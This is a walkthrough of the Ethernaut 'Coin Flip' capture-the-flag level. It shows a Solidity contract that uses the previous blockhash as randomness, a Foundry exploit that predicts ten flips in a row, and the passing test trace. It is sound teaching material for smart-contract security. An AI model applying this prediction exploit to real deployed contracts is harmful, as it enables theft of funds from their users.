CTF walkthrough, Ethernaut, #4 Coin Flip

To complete this challenge we need to predict the outcome of a coin flip game 10 times in a row. Here is the slightly altered version of the original smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

Analysis

The CoinFlip contract has 3 state variables:

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  • consecutiveWins – Keeps track of a number of consecutive wins :)
  • lastHash – Contains an integer representation of the previous block’s hash.
  • FACTOR – Used in the flip function to calculate coin side.

Let’s examine the flip function:

uint256 blockValue = uint256(blockhash(block.number - 1));
  • The blockValue local variable is an integer representation of the previous block’s hash.
  • This function uses block.number as a source of randomness (ha-ha! 😈).
  • According to Solidity docs, blockhash gets hash of the given block when blocknumber is one of the 256 most recent blocks. Hence, the blockValue is the previous block’s hash casted to uint256.
  • The FACTOR is 8000000000000000000000000000000000000000000000000000000000000000 in hexadecimal. The blockValue divided by this factor gives us 50% probability of getting heads or tails.

This check prevents us from doing two flips in the same block:

if (lastHash == blockValue) {
    revert();
}

For the above check to work the lastHash is saved on each flip:

lastHash = blockValue;

The blockValue is divided by FACTOR to determine a coin side:

uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

The if-else condition increments or resets the consecutiveWins:

if (side == _guess) {
    consecutiveWins++;
    return true;
} else {
    consecutiveWins = 0;
    return false;
}

Exploit

We can have a contract that contains a function, which runs the same logic to “guess” the flip outcome:

function exploit() internal override {
    vm.startPrank(player);

    for (uint256 i = 0; i < 10; i++) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        level.flip(side);
        utils.mineBlocks(1);
    }

    vm.stopPrank();
}

Here we call the utils.mineBlocks(1). It calls the vm.roll that sets the current block number. It allows us to move the block.number forward by a given count of blocks:

function mineBlocks(uint256 count) external {
    uint256 target = block.number + count;
    vm.roll(target);
}

The trace:

forge test --match-contract CoinFlipTest -vvvv

Running 1 test for src/test/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlip() (gas: 342799)
Traces:
  [342799] CoinFlipTest::testCoinFlip()
    ├─ [212118] CoinFlipTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [199770] Ethernaut::createLevelInstance(CoinFlipFactory: [...])
    │   │   ├─ [148207] CoinFlipFactory::createInstance(player: [...])
    │   │   │   ├─ [115659] → new CoinFlip@"0x037f…dd8f"
    │   │   │   │   └─ ← 456 bytes of code
    │   │   │   └─ ← CoinFlip: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: CoinFlip: [...])
    │   │   └─ ← CoinFlip: [...]
    │   └─ ← CoinFlip: [...]
    ├─ [295] CoinFlip::consecutiveWins() [staticcall]
    │   └─ ← 0
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [42978] CoinFlip::flip(false)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(2)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(3)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1178] CoinFlip::flip(false)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(4)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(5)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(6)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1178] CoinFlip::flip(false)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(7)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(8)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(9)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1168] CoinFlip::flip(true)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(10)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [1178] CoinFlip::flip(false)
    │   └─ ← true
    ├─ [733] Utils::mineBlocks(1)
    │   ├─ [0] VM::roll(11)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4230] Ethernaut::submitLevelInstance(CoinFlip: [...])
    │   ├─ [1183] CoinFlipFactory::validateInstance(CoinFlip: [...], player: [...])
    │   │   ├─ [295] CoinFlip::consecutiveWins() [staticcall]
    │   │   │   └─ ← 10
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: CoinFlipFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Key takeaways

  • Blockchains such as Ethereum are deterministic Turing machines.
  • The block.number, blockhash and block.timestamp are not reliable sources of randomness.
  • Good contracts use oracles for random numbers 😇

References


You can find the code and solution for this level here. Now, let’s move on to CTF walkthrough, Ethernaut, #5 Telephone!